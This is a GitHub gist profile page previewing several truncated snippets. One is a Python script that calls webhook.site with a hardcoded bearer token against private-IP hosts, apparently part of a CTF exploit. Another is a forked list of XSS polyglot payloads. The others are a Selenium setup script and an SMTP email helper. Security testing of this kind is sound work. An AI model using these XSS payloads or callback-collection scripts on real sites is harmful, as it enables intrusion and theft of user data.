Skip to content

Instantly share code, notes, and snippets.

View ThanHuuTuan's full-sized avatar
🏠
Working from home

Thân Hữu Tuấn ThanHuuTuan

🏠
Working from home
  • 13:47 (UTC +07:00)
View GitHub Profile
@ThanHuuTuan
ThanHuuTuan / DF-CV-EDITOR.py
Last active October 11, 2023 13:49
DF-CV-EDITOR (use webhook)
import requests
host_list = ['192.168.125.133:8080', '192.168.125.133:8080', '192.168.125.133:8080']
token = "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo0Niwicm9sZSI6MCwiZXhwIjoxNjk2NTkwNTA3fQ.ruxiM4oa6TkauGFnzDDbJ0X7p0xF7OKR-_oe1uiJ_94"
def delete_old(uuid_record):
burp0_url = f"https://webhook.site:443/token/264da7dc-9592-468a-bd78-e9b9a3b98ee6/request/{uuid_record}?password="
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0",
@ThanHuuTuan
ThanHuuTuan / xss-polyglots.txt
Created February 6, 2021 04:07 — forked from michenriksen/xss-polyglots.txt
XSS Polyglot payloads
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<
@ThanHuuTuan
ThanHuuTuan / gist:64c0ad97d91e27d172a6cb7299968a4e
Created March 13, 2020 09:00 — forked from pcgeek86/gist:a1fd9d26f8ad46b51adf9513f67b95f2
Install & test Selenium with Firefox / Gecko driver on headless Ubuntu 18.04 LTS server
sudo apt update
sudo apt install firefox python3-pip xvfb x11-utils --yes
sudo -H pip3 install bpython selenium
export DISPLAY=:2
Xvfb $DISPLAY -ac &
export GECKO_DRIVER_VERSION='v0.24.0'
wget https://github.com/mozilla/geckodriver/releases/download/$GECKO_DRIVER_VERSION/geckodriver-$GECKO_DRIVER_VERSION-linux64.tar.gz
tar -xvzf geckodriver-$GECKO_DRIVER_VERSION-linux64.tar.gz
@ThanHuuTuan
ThanHuuTuan / send_email2.py
Created July 24, 2018 02:33 — forked from bryhal/send_email2.py
PYTHON: SMTP Email with HTML and Multiple Attachments
# Found most ofthis at http://ryrobes.com/python/python-snippet-sending-html-email-with-an-attachment-via-google-apps-smtp-or-gmail/
# Adapted to accept a list of files for multiple file attachments
# From other stuff I googled, a little more elegant way of converting html to plain text
# This works in 2.7 and my brain gets it.
######### Setup your stuff here #######################################
attachments = ['test_pdf.pdf', 'test_waiver.pdf']
username = 'joe@gmail.com'